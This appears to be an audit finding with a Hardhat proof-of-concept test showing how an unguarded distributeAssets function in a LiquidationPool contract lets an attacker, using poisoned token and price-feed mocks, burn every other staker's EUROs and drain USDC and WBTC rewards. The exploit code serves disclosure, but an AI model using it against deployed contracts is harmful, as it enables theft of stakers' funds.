It opens several attack vectors, one of them is burning all staked euros. Another one is to set unlimited rewards for any token. Both of them can be seen in PoC.
All staked EUROs except ones of the attacker are burned.
The attacker withdraw all the ITokenManager(tokenManager).getAcceptedTokens()
from the LiquidationPool
.
const { expect } = require("chai");
const { ethers, network } = require("hardhat");
const { BigNumber } = ethers;
const { mockTokenManager, DEFAULT_COLLATERAL_RATE, TOKEN_ID, rewardAmountForAsset, DAY, fastForward, POOL_FEE_PERCENTAGE, DEFAULT_EUR_USD_PRICE } = require("./common");
describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
ERC20MockFactory, TST, EUROs;
let user4, user5, attacker, user6;
let TokenManager;
beforeEach(async () => {
[ user1, user2, user3, Protocol, user4, user5, attacker, user6 ] = await ethers.getSigners();
ERC20MockFactory = await ethers.getContractFactory('ERC20Mock');
TST = await ERC20MockFactory.deploy('The Standard Token', 'TST', 18);
EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();
const EurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR / USD');
await EurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
({ TokenManager } = await mockTokenManager());
MockSmartVaultManager = await (await ethers.getContractFactory('MockSmartVaultManager')).deploy(DEFAULT_COLLATERAL_RATE, TokenManager.address);
LiquidationPoolManager = await (await ethers.getContractFactory('LiquidationPoolManager')).deploy(
TST.address, EUROs.address, MockSmartVaultManager.address, EurUsd.address, Protocol.address, POOL_FEE_PERCENTAGE
);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address)
});
afterEach(async () => {
await network.provider.send("hardhat_reset")
});
it('distributeAssets can burn everyones euros', async () => {
const euroAndTSTBalanceOfEveryUser = ethers.utils.parseEther('1000');
const usersPlusAttacker = [user2, user3, user4, user5, attacker, user6];
const increasePosition = async user => {
await EUROs.mint(user.address, euroAndTSTBalanceOfEveryUser);
await TST.mint(user.address, euroAndTSTBalanceOfEveryUser);
await EUROs.connect(user).approve(LiquidationPool.address, euroAndTSTBalanceOfEveryUser);
await TST.connect(user).approve(LiquidationPool.address, euroAndTSTBalanceOfEveryUser);
await LiquidationPool.connect(user)
.increasePosition(euroAndTSTBalanceOfEveryUser, euroAndTSTBalanceOfEveryUser);
}
await Promise.all(usersPlusAttacker.map(increasePosition));
await fastForward(DAY);
await LiquidationPool.connect(user2).decreasePosition(0, 0);
const getPosition = ({address}) => LiquidationPool.position(address);
const getEur = ({_position: {EUROs}}) => EUROs;
const positionsBefore = await Promise.all(usersPlusAttacker.map(getPosition));
const balancesBefore = positionsBefore.map(getEur);
const rewardsUSDCBefore = positionsBefore.map(getUSDCRewards);
console.log('balancesBefore', balancesBefore);
console.log('rewardUSDCBefore', rewardsUSDCBefore);
expect(rewardsUSDCBefore).to.eql(
Array(usersPlusAttacker.length).fill(BigNumber.from(0))
);
const MaliciousERC20 = await (await ethers.getContractFactory('MaliciousERC20')).deploy();
const MaliciousChainlink = await (await ethers.getContractFactory('MaliciousChainlink'))
.deploy( MaliciousERC20.address );
const amount = ethers.utils.parseUnits("600", 18);
const posionedUSDC = await createPosionedAsset(
MaliciousERC20.address, MaliciousChainlink.address, 'USDC', amount
);
await LiquidationPool.connect(attacker).distributeAssets( [posionedUSDC], 1, 1, );
const positionsAfter = await Promise.all(usersPlusAttacker.map(getPosition));
const balancesAfter = positionsAfter.map(getEur);
const rewardsUSDCAfter = positionsAfter.map(getUSDCRewards);
console.log('balancesAfter', balancesAfter);
console.log('rewardsUSDCAfter', rewardsUSDCAfter);
expect(balancesAfter).to.eql([
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
euroAndTSTBalanceOfEveryUser,
BigNumber.from(0),
]);
const expectedUSDCAttackerRewards = amount.div(BigNumber.from(usersPlusAttacker.length));
expect(rewardsUSDCAfter).to.eql([
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
expectedUSDCAttackerRewards,
BigNumber.from(0),
]);
const posionedWBTC = await createPosionedAsset(
MaliciousERC20.address, MaliciousChainlink.address, 'WBTC', amount
);
await LiquidationPool.connect(attacker).distributeAssets( [posionedWBTC], 1, 1, );
const positionsAfter2Tx = await Promise.all(usersPlusAttacker.map(getPosition));
const rewardsWBTCAfter = positionsAfter2Tx.map(getWBTCRewards);
console.log('rewardsWBTCAfter', rewardsWBTCAfter);
expect(rewardsWBTCAfter).to.eql([
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
amount,
BigNumber.from(0),
]);
const usdcAddress = (await TokenManager.getToken(ethers.utils.formatBytes32String('USDC'))).addr;
const wbtcAddress = (await TokenManager.getToken(ethers.utils.formatBytes32String('WBTC'))).addr;
const USDC = await ethers.getContractAt("ERC20Mock", usdcAddress);
const WBTC = await ethers.getContractAt("ERC20Mock", wbtcAddress);
const tokensToMintToLiquidationPool = ethers.utils.parseEther('1000');
await USDC.mint(LiquidationPool.address, tokensToMintToLiquidationPool);
await WBTC.mint(LiquidationPool.address, tokensToMintToLiquidationPool);
await LiquidationPool.connect(attacker).claimRewards();
expect(await USDC.balanceOf(attacker.address)).to.eq(expectedUSDCAttackerRewards);
expect(await WBTC.balanceOf(attacker.address)).to.eq(amount);
});
});
function getUSDCRewards(position) {
return getRewardsIn(position, 'USDC');
}
function getWBTCRewards(position) {
return getRewardsIn(position, 'WBTC');
}
function getRewardsIn(position, tokenSymbol) {
const toHumanReadable = ({symbol, amount}) => ({
symbol: ethers.utils.parseBytes32String(symbol),
amount
});
const isRequestedSymbol = ({symbol}) => symbol === tokenSymbol;
return position._rewards
.map(toHumanReadable)
.find(isRequestedSymbol)
.amount
;
}
async function createPosionedAsset(addr, clAddr, symbol, amount) {
const poisonedTokenSymbol = ethers.utils.formatBytes32String(symbol);
const poisonedDecimals = 18;
const poisonedClDecimals = 18;
const poisonedToken = {
symbol: poisonedTokenSymbol,
addr,
dec: poisonedDecimals,
clAddr,
clDec: poisonedClDecimals
};
return {
token: poisonedToken,
amount
};
}